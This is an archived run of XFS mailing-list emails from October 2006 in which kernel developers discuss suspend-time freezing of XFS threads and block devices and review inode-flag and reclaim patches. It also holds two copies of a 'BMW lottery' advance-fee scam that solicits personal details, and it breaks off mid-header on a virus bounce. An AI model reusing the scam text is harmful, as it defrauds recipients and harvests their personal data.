01:57:58 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id SAA02889; Thu, 26 Oct 2006 18:57:09 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9Q8v47Y16902153; Thu, 26 Oct 2006 18:57:05 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9Q8v0Dq16898365; Thu, 26 Oct 2006 18:57:00 +1000 (AEST) Date: Thu, 26 Oct 2006 18:57:00 +1000 From: David Chinner To: Nigel Cunningham Cc: David Chinner , "Rafael J. Wysocki" , Pavel Machek , Andrew Morton , LKML , xfs@oss.sgi.com Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061026085700.GI8394166@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610251432.41958.rjw@sisk.pl> <1161782620.3638.0.camel@nigel.suspend2.net> <200610252105.56862.rjw@sisk.pl> <20061026073022.GG8394166@melbourne.sgi.com> <1161850709.17293.23.camel@nigel.suspend2.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1161850709.17293.23.camel@nigel.suspend2.net> User-Agent: Mutt/1.4.2.1i X-archive-position: 9445 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O Hi Nigel, On Thu, Oct 26, 2006 at 06:18:29PM +1000, Nigel Cunningham wrote: > On Thu, 2006-10-26 at 17:30 +1000, David Chinner wrote: > > We have daemons running in the background that can definitely do stuff > > after a sync. hmm - one does try_to_freeze() after a wakeup, the > > other does: > > > > if (unlikely(freezing(current))) { > > set_bit(XBT_FORCE_SLEEP, &target->bt_flags); > > refrigerator(); > > } else { > > clear_bit(XBT_FORCE_SLEEP, &target->bt_flags); > > } > > > > before it goes to sleep. So that one (xfsbufd - metadata buffer flushing) > > can definitely wake up after the sync and do work, and the other could if > > the kernel thread freeze occurs after the sync. > > > > Another good question at this point - exactly how should we be putting > > these thread to to sleep? Are both these valid methods for freezing them? > > And should we be freezing when we wake up instead of before we go to > > sleep? i.e. what are teh rules we are supposed to be following? > > As you have them at the moment, the threads seem to be freezing fine. > The issue I've seen in the past related not to threads but to timer > based activity. Admittedly it was 2.6.14 when I last looked at it, but > there used to be a possibility for XFS to submit I/O from a timer when > the threads are frozen but the bdev isn't frozen. Has that changed? I didn't think we've ever done that - periodic or delayed operations are passed off to the kernel threads to execute. A stack trace (if you still have it) would be really help here. Hmmm - we have a couple of per-cpu work queues as well that are used on I/O completion and that can, in some circumstances, trigger new transactions. If we are only flush metadata, then I don't think that any more I/o will be issued, but I could be wrong (maze of twisty passages). Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 26 02:09:53 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 02:10:00 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9Q99paG016804 for ; Thu, 26 Oct 2006 02:09:53 -0700 X-ASG-Debug-ID: 1161853746-17451-469-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ogre.sisk.pl (ogre.sisk.pl [217.79.144.158]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4A12F4D98BF for ; Thu, 26 Oct 2006 02:09:06 -0700 (PDT) Received: from localhost (localhost.localdomain [127.0.0.1]) by ogre.sisk.pl (Postfix) with ESMTP id 6B30C1D246; Thu, 26 Oct 2006 11:00:45 +0200 (CEST) Received: from ogre.sisk.pl ([127.0.0.1]) by localhost (ogre.sisk.pl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 28997-08; Thu, 26 Oct 2006 11:00:44 +0200 (CEST) Received: from albercik.fuw.edu.pl (albercik.fuw.edu.pl [193.0.83.66]) (using SSLv3 with cipher EXP1024-RC4-SHA (56/128 bits)) (No client certificate requested) by ogre.sisk.pl (Postfix) with ESMTP id B0D601D226; Thu, 26 Oct 2006 11:00:44 +0200 (CEST) From: "Rafael J. Wysocki" To: Nigel Cunningham X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Date: Thu, 26 Oct 2006 11:08:22 +0200 User-Agent: KMail/1.9.1 Cc: David Chinner , Pavel Machek , Andrew Morton , LKML , xfs@oss.sgi.com References: <1161576735.3466.7.camel@nigel.suspend2.net> <20061026073022.GG8394166@melbourne.sgi.com> <1161850709.17293.23.camel@nigel.suspend2.net> In-Reply-To: <1161850709.17293.23.camel@nigel.suspend2.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610261108.23390.rjw@sisk.pl> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24146 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9446 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: rjw@sisk.pl Precedence: bulk X-list: xfs Status: O On Thursday, 26 October 2006 10:18, Nigel Cunningham wrote: > Hi Dave. > > On Thu, 2006-10-26 at 17:30 +1000, David Chinner wrote: > > On Wed, Oct 25, 2006 at 09:05:56PM +0200, Rafael J. Wysocki wrote: > > > On Wednesday, 25 October 2006 15:23, Nigel Cunningham wrote: > > > > > > > > > > Well, my impression is that this is exactly what happens here: Something > > > > > in the XFS code causes metadata to be written to disk _after_ the atomic > > > > > snapshot. > > > > > > > > > > That's why I asked if the dirty XFS metadata were flushed by a kernel thread. > > > > > > > > When I first added bdev freezing it was because there was an XFS timer > > > > doing writes. > > > > > > Yes, I noticed you said that, but I'd like someone from the XFS team to either > > > confirm or deny it. > > > > We have daemons running in the background that can definitely do stuff > > after a sync. hmm - one does try_to_freeze() after a wakeup, the > > other does: > > > > if (unlikely(freezing(current))) { > > set_bit(XBT_FORCE_SLEEP, &target->bt_flags); > > refrigerator(); > > } else { > > clear_bit(XBT_FORCE_SLEEP, &target->bt_flags); > > } > > > > before it goes to sleep. So that one (xfsbufd - metadata buffer flushing) > > can definitely wake up after the sync and do work, and the other could if > > the kernel thread freeze occurs after the sync. > > > > Another good question at this point - exactly how should we be putting > > these thread to to sleep? Are both these valid methods for freezing them? > > And should we be freezing when we wake up instead of before we go to > > sleep? i.e. what are teh rules we are supposed to be following? > > As you have them at the moment, the threads seem to be freezing fine. > The issue I've seen in the past related not to threads but to timer > based activity. Admittedly it was 2.6.14 when I last looked at it, but > there used to be a possibility for XFS to submit I/O from a timer when > the threads are frozen but the bdev isn't frozen. Also there may be a problem if a workqueue is used for that, because worker_threads run with PF_NOFREEZE set. Greetings, Rafael -- You never change things by fighting the existing reality. R. Buckminster Fuller From owner-xfs@oss.sgi.com Thu Oct 26 02:19:54 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 02:20:05 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9Q9JraG019711 for ; Thu, 26 Oct 2006 02:19:54 -0700 X-ASG-Debug-ID: 1161854349-14605-910-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pop5-1.us4.outblaze.com (pop5-1.us4.outblaze.com [205.158.62.125]) by cuda.sgi.com (Spam Firewall) with SMTP id A9826D14D58A for ; Thu, 26 Oct 2006 02:19:09 -0700 (PDT) Received: (qmail 22918 invoked from network); 26 Oct 2006 09:21:11 -0000 Received: from unknown (HELO ?10.1.1.3?) (ncunningham@linuxmail.org@203.171.70.205) by pop5-1.us4.outblaze.com with SMTP; 26 Oct 2006 09:21:10 -0000 X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. From: Nigel Cunningham To: David Chinner Cc: "Rafael J. Wysocki" , Pavel Machek , Andrew Morton , LKML , xfs@oss.sgi.com In-Reply-To: <20061026085700.GI8394166@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610251432.41958.rjw@sisk.pl> <1161782620.3638.0.camel@nigel.suspend2.net> <200610252105.56862.rjw@sisk.pl> <20061026073022.GG8394166@melbourne.sgi.com> <1161850709.17293.23.camel@nigel.suspend2.net> <20061026085700.GI8394166@melbourne.sgi.com> Content-Type: text/plain Date: Thu, 26 Oct 2006 19:18:57 +1000 Message-Id: <1161854338.17293.25.camel@nigel.suspend2.net> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24148 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9447 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ncunningham@linuxmail.org Precedence: bulk X-list: xfs Status: O Hi. On Thu, 2006-10-26 at 18:57 +1000, David Chinner wrote: > I didn't think we've ever done that - periodic or delayed operations > are passed off to the kernel threads to execute. A stack trace > (if you still have it) would be really help here. I don't, but I know how to get it again. Will give it a go shortly. > Hmmm - we have a couple of per-cpu work queues as well that are > used on I/O completion and that can, in some circumstances, > trigger new transactions. If we are only flush metadata, then > I don't think that any more I/o will be issued, but I could be > wrong (maze of twisty passages). I can understand that. I'm trying to learn Xgl programming at the mo :) Nigel From owner-xfs@oss.sgi.com Thu Oct 26 02:44:33 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 02:44:42 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9Q9iWaG025531 for ; Thu, 26 Oct 2006 02:44:33 -0700 X-ASG-Debug-ID: 1161855824-14260-311-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ogre.sisk.pl (ogre.sisk.pl [217.79.144.158]) by cuda.sgi.com (Spam Firewall) with ESMTP id DE8EA4DB07A for ; Thu, 26 Oct 2006 02:43:45 -0700 (PDT) Received: from localhost (localhost.localdomain [127.0.0.1]) by ogre.sisk.pl (Postfix) with ESMTP id 02B621D279; Thu, 26 Oct 2006 11:03:53 +0200 (CEST) Received: from ogre.sisk.pl ([127.0.0.1]) by localhost (ogre.sisk.pl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 29023-08; Thu, 26 Oct 2006 11:03:51 +0200 (CEST) Received: from albercik.fuw.edu.pl (albercik.fuw.edu.pl [193.0.83.66]) (using SSLv3 with cipher EXP1024-RC4-SHA (56/128 bits)) (No client certificate requested) by ogre.sisk.pl (Postfix) with ESMTP id C55C016936; Thu, 26 Oct 2006 11:03:51 +0200 (CEST) From: "Rafael J. Wysocki" To: David Chinner X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Date: Thu, 26 Oct 2006 11:11:29 +0200 User-Agent: KMail/1.9.1 Cc: Nigel Cunningham , Pavel Machek , Andrew Morton , LKML , xfs@oss.sgi.com References: <1161576735.3466.7.camel@nigel.suspend2.net> <1161850709.17293.23.camel@nigel.suspend2.net> <20061026085700.GI8394166@melbourne.sgi.com> In-Reply-To: <20061026085700.GI8394166@melbourne.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200610261111.30486.rjw@sisk.pl> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24150 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9448 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: rjw@sisk.pl Precedence: bulk X-list: xfs Status: O Hi, On Thursday, 26 October 2006 10:57, David Chinner wrote: > Hi Nigel, > > On Thu, Oct 26, 2006 at 06:18:29PM +1000, Nigel Cunningham wrote: > > On Thu, 2006-10-26 at 17:30 +1000, David Chinner wrote: > > > We have daemons running in the background that can definitely do stuff > > > after a sync. hmm - one does try_to_freeze() after a wakeup, the > > > other does: > > > > > > if (unlikely(freezing(current))) { > > > set_bit(XBT_FORCE_SLEEP, &target->bt_flags); > > > refrigerator(); > > > } else { > > > clear_bit(XBT_FORCE_SLEEP, &target->bt_flags); > > > } > > > > > > before it goes to sleep. So that one (xfsbufd - metadata buffer flushing) > > > can definitely wake up after the sync and do work, and the other could if > > > the kernel thread freeze occurs after the sync. > > > > > > Another good question at this point - exactly how should we be putting > > > these thread to to sleep? Are both these valid methods for freezing them? > > > And should we be freezing when we wake up instead of before we go to > > > sleep? i.e. what are teh rules we are supposed to be following? > > > > As you have them at the moment, the threads seem to be freezing fine. > > The issue I've seen in the past related not to threads but to timer > > based activity. Admittedly it was 2.6.14 when I last looked at it, but > > there used to be a possibility for XFS to submit I/O from a timer when > > the threads are frozen but the bdev isn't frozen. Has that changed? > > I didn't think we've ever done that - periodic or delayed operations > are passed off to the kernel threads to execute. A stack trace > (if you still have it) would be really help here. > > Hmmm - we have a couple of per-cpu work queues as well that are > used on I/O completion and that can, in some circumstances, > trigger new transactions. If we are only flush metadata, then > I don't think that any more I/o will be issued, but I could be > wrong (maze of twisty passages). Well, I think this exactly is the problem, because worker_threads run with PF_NOFREEZE set (as I've just said in another message). Greetings, Rafael -- You never change things by fighting the existing reality. R. Buckminster Fuller From owner-xfs@oss.sgi.com Thu Oct 26 02:47:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 02:47:59 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9Q9llaG026405 for ; Thu, 26 Oct 2006 02:47:49 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id TAA04199; Thu, 26 Oct 2006 19:46:47 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9Q9kj7Y16783887; Thu, 26 Oct 2006 19:46:45 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9Q9kgIm16900793; Thu, 26 Oct 2006 19:46:42 +1000 (AEST) Date: Thu, 26 Oct 2006 19:46:42 +1000 From: David Chinner To: Christoph Hellwig Cc: David Chinner , xfs@oss.sgi.com, t-nagano@ah.jp.nec.com, xfs-dev@sgi.com Subject: Re: [REVIEW 1 of 4] Clean up i_flags handling Message-ID: <20061026094642.GM8394166@melbourne.sgi.com> References: <20061024071723.GR11034@melbourne.sgi.com> <20061024213822.GA23909@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061024213822.GA23909@infradead.org> User-Agent: Mutt/1.4.2.1i X-archive-position: 9449 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Tue, Oct 24, 2006 at 10:38:22PM +0100, Christoph Hellwig wrote: > > +static inline int > > +__xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) > > +{ > > + return (ip->i_flags & flags); > > +} > > + > > +static inline int > > +xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) > > +{ > > + int ret; > > + spin_lock(&ip->i_flags_lock); > > + ret = __xfs_iflags_test(ip, flags); > > + spin_unlock(&ip->i_flags_lock); > > + return ret; > > This is not actually guaranteed to work on machiens with very weak > memory ordering. Please use the *_bit routines from bitops.h instead. Hmm - don't you have that the wrong way around? Documentation/memory-barriers.txt: ... Therefore, from (1), (2) and (4) an UNLOCK followed by an unconditional LOCK is equivalent to a full barrier, but a LOCK followed by an UNLOCK is not. .... But the bitops don't guarantee ordering or barriers e.g. from include/asm-i386/bitops.h: /** * set_bit - Atomically set a bit in memory * @nr: the bit to set * @addr: the address to start counting from * * This function is atomic and may not be reordered. See __set_bit() * if you do not require the atomic guarantees. * * Note: there are no guarantees that this function will not be reordered * on non x86 architectures, so if you are writting portable code, * make sure not to rely on its reordering guarantees. * * Note that @nr may be almost arbitrarily large; this function is not * restricted to acting on a single-word quantity. */ So I think the code is fine as it stands. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 26 02:59:55 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 03:00:02 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9Q9xqaG029530 for ; Thu, 26 Oct 2006 02:59:54 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id TAA04372; Thu, 26 Oct 2006 19:58:55 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9Q9wr7Y16901614; Thu, 26 Oct 2006 19:58:53 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9Q9wnQb16891955; Thu, 26 Oct 2006 19:58:49 +1000 (AEST) Date: Thu, 26 Oct 2006 19:58:49 +1000 From: David Chinner To: Shailendra Tripathi Cc: David Chinner , xfs@oss.sgi.com, t-nagano@ah.jp.nec.com, xfs-dev@sgi.com Subject: Re: [REVIEW 3 of 4] Fix recalim handling in xfs_iget_core Message-ID: <20061026095849.GN8394166@melbourne.sgi.com> References: <20061024072054.GT11034@melbourne.sgi.com> <453E5A0F.4070902@agami.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <453E5A0F.4070902@agami.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9450 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Tue, Oct 24, 2006 at 11:23:11AM -0700, Shailendra Tripathi wrote: > Hi David, > I can't really see why we need this test: > if (xfs_iflags_test(ip, XFS_IRECLAIMABLE)) > I think, An inode with no VP can be possibly in only 3 > states (NEW, RECLAIM or RECLAIMABLE). This check is being made inside > (inode_vp == NULL) check. If I am correct, may be we can omit an extra > instruction here. We can't have an I_NEW here - that is checked even before we we try to get the vnode. Hence we can be in either RECLAIM or RECLAIMABLE state. Then we check RECLAIm and retry. So only reclaimable can get here. Yes, I think you're right. Good catch. I'll replace the test with an ASSERT. > It appears that you can see inode with XFS_ISTALE can > potentially reach. I am not sure how it should reach that path. > Following code just after this assumes that it must be in reclaimable path: > > XFS_MOUNT_ILOCK(mp); > list_del_init(&ip->i_reclaim); > XFS_MOUNT_IUNLOCK(mp); That's a no-op if it's not on the reclaim list (next and prev both point to itself) so it should be safe even on non-IRECLAIMABLE inodes. Thanks, Shailendra. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Thu Oct 26 03:07:39 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 03:07:54 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9QA7caG031678 for ; Thu, 26 Oct 2006 03:07:39 -0700 X-ASG-Debug-ID: 1161852972-14766-214-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from can16.de (can16.de [213.203.199.120]) by cuda.sgi.com (Spam Firewall) with ESMTP id CE1A4D14BFD4 for ; Thu, 26 Oct 2006 01:56:12 -0700 (PDT) Received: by can16.de (can16.de, from userid 30) id CF5A3115E9E; Thu, 26 Oct 2006 10:56:09 +0200 (CEST) To: xfs@oss.sgi.com X-ASG-Orig-Subj: CONGRATULATIONS FROM BMW LOTTERY PROMO Subject: CONGRATULATIONS FROM BMW LOTTERY PROMO From: BMW 2006 PROMO Reply-To: bmwenquries@yahoo.co.uk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: <20061026085612.CE1A4D14BFD4@cuda.sgi.com> Date: Thu, 26 Oct 2006 01:56:12 -0700 (PDT) X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24148 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9451 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: bmw.2006.promo@web2mail.com Precedence: bulk X-list: xfs Status: O Message-Id: <20061026085609.CF5A3115E9E@can16.de> Date: Thu, 26 Oct 2006 10:56:09 +0200 (CEST) THE LOTTERY DEPARTMENT BMW Automobiles Auto House Beethoven Beethovenstraat 405V. Amsterdam Netherlands. http://www.bmw.nl/nl/nl/ Dear Winner, This is to inform you that you have been selected for a cash prize of 950,000.00 Euros(Nine hundred and fifty thousand Euros) only and a brand new BMW 5 Series Car from International programs held today the 26th of October 2006 in Amsterdam the Netherlands. Description of prize vehicle; Year: 2006 Model: 530iA Color (exterior/interior): Black Sapphire Metallic/Black Leather Mileage: 5 Transmission: Automatic 5 Speed Options: Cold weather package, premium package, fold down rear seats w/ski bag, am fm stereo with single in dash compact disc player. The selection process was carried out through random selection in our computerized email selection system(ess) from a database of over 250,000 email addresses drawn from all the continents of the world wich you was selected. The BMW Lottery is approved by the Netherlands Gaming Board and also Licensed by the The International Association of Gaming Regulators (IAGR). This promotional lottery is the 3rd of its kind and we intend to sensitize the public. To begin the processing of your prize you are to contact our fiduaciary claims department for more infomation as regards procedures to claim your prize. BMW LOTTERY CLAIMS DEPARTMENT HOLLAND. 7 DOCK WAY, SEFTON BUSINESS PARK AMSTERDAM, THE NETHERLANDS. MR. RUUD VAN WESTERHOFF Email: bmwenquries@yahoo.co.uk Tel: +31 (0) 649 851 120 Fax: + 31 (0) 205 241 417 Contact your fiduciary agent on phone and please provide them with your winning secret pin code X7DSART2005 and your Reference Number BMW:2551256003/23. You are also advised to send the under listed informations to them so that they can process your claims without delays. 1.Name in full.-------------------------------------------- 2.Address.-------------------------------------------------3.Nationality.--------------------------------------------- 4.Age.------------------------------- 5.Occupation.---------------------------------------------- 6.Telephone Nubmer.---------------------------------------- 7.Present Country.----------------------------------------- 8.Short comment on our products. [optional]. - -----------------------------------------------------------9.Fax [optional].------------------------------------------ 10.Email address. ----------------------------------------- Congratulations again from all our staffs and thank you for being part of our promotional program. Mr. Chris Blee THE DIRECTOR PROMOTIONS BMW LOTTERY DEPARTMENT AMSTERDAM THE NETHERLANDS. From owner-xfs@oss.sgi.com Thu Oct 26 03:24:18 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 03:24:28 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9QAOHaG002988 for ; Thu, 26 Oct 2006 03:24:18 -0700 X-ASG-Debug-ID: 1161853990-19449-439-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from can16.de (can16.de [213.203.199.120]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4DC61D14BFDE for ; Thu, 26 Oct 2006 02:13:11 -0700 (PDT) Received: by can16.de (can16.de, from userid 30) id 5264A11668C; Thu, 26 Oct 2006 10:20:47 +0200 (CEST) To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: CONGRATULATIONS FROM BMW LOTTERY PROMO Subject: CONGRATULATIONS FROM BMW LOTTERY PROMO From: BMW 2006 PROMO Reply-To: bmwenquries@yahoo.co.uk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: <20061026091311.4DC61D14BFDE@cuda.sgi.com> Date: Thu, 26 Oct 2006 02:13:11 -0700 (PDT) X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24148 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9452 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: bmw.2006.promo@web2mail.com Precedence: bulk X-list: xfs Status: O Message-Id: <20061026082047.5264A11668C@can16.de> Date: Thu, 26 Oct 2006 10:20:47 +0200 (CEST) THE LOTTERY DEPARTMENT BMW Automobiles Auto House Beethoven Beethovenstraat 405V. Amsterdam Netherlands. http://www.bmw.nl/nl/nl/ Dear Winner, This is to inform you that you have been selected for a cash prize of 950,000.00 Euros(Nine hundred and fifty thousand Euros) only and a brand new BMW 5 Series Car from International programs held today the 26th of October 2006 in Amsterdam the Netherlands. Description of prize vehicle; Year: 2006 Model: 530iA Color (exterior/interior): Black Sapphire Metallic/Black Leather Mileage: 5 Transmission: Automatic 5 Speed Options: Cold weather package, premium package, fold down rear seats w/ski bag, am fm stereo with single in dash compact disc player. The selection process was carried out through random selection in our computerized email selection system(ess) from a database of over 250,000 email addresses drawn from all the continents of the world wich you was selected. The BMW Lottery is approved by the Netherlands Gaming Board and also Licensed by the The International Association of Gaming Regulators (IAGR). This promotional lottery is the 3rd of its kind and we intend to sensitize the public. To begin the processing of your prize you are to contact our fiduaciary claims department for more infomation as regards procedures to claim your prize. BMW LOTTERY CLAIMS DEPARTMENT HOLLAND. 7 DOCK WAY, SEFTON BUSINESS PARK AMSTERDAM, THE NETHERLANDS. MR. RUUD VAN WESTERHOFF Email: bmwenquries@yahoo.co.uk Tel: +31 (0) 649 851 120 Fax: + 31 (0) 205 241 417 Contact your fiduciary agent on phone and please provide them with your winning secret pin code X7DSART2005 and your Reference Number BMW:2551256003/23. You are also advised to send the under listed informations to them so that they can process your claims without delays. 1.Name in full.-------------------------------------------- 2.Address.-------------------------------------------------3.Nationality.--------------------------------------------- 4.Age.------------------------------- 5.Occupation.---------------------------------------------- 6.Telephone Nubmer.---------------------------------------- 7.Present Country.----------------------------------------- 8.Short comment on our products. [optional]. - -----------------------------------------------------------9.Fax [optional].------------------------------------------ 10.Email address. ----------------------------------------- Congratulations again from all our staffs and thank you for being part of our promotional program. Mr. Chris Blee THE DIRECTOR PROMOTIONS BMW LOTTERY DEPARTMENT AMSTERDAM THE NETHERLANDS. From owner-xfs@oss.sgi.com Thu Oct 26 04:13:07 2006 Received: with ECARTIS (v1.0.0; list xfs); Thu, 26 Oct 2006 04:13:18 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9QBD6aG013771 for ; Thu, 26 Oct 2006 04:13:07 -0700 X-ASG-Debug-ID: 1161856894-16940-416-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from kushnir.ru (unknown [213.33.244.198]) by cuda.sgi.com (Spam Firewall) with ESMTP id B92654DC088 for ; Thu, 26 Oct 2006 03:01:34 -0700 (PDT) From: kunts@kushnir.ru To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: **VIRUS** from Directory Returned mail: see transcript for details Subject: **VIRUS** from Directory Returned mail: see transcript for details Date: Thu, 26 Oct 2006 14:02:48 +0400 MIME-Version: 1.0 Content-Type: 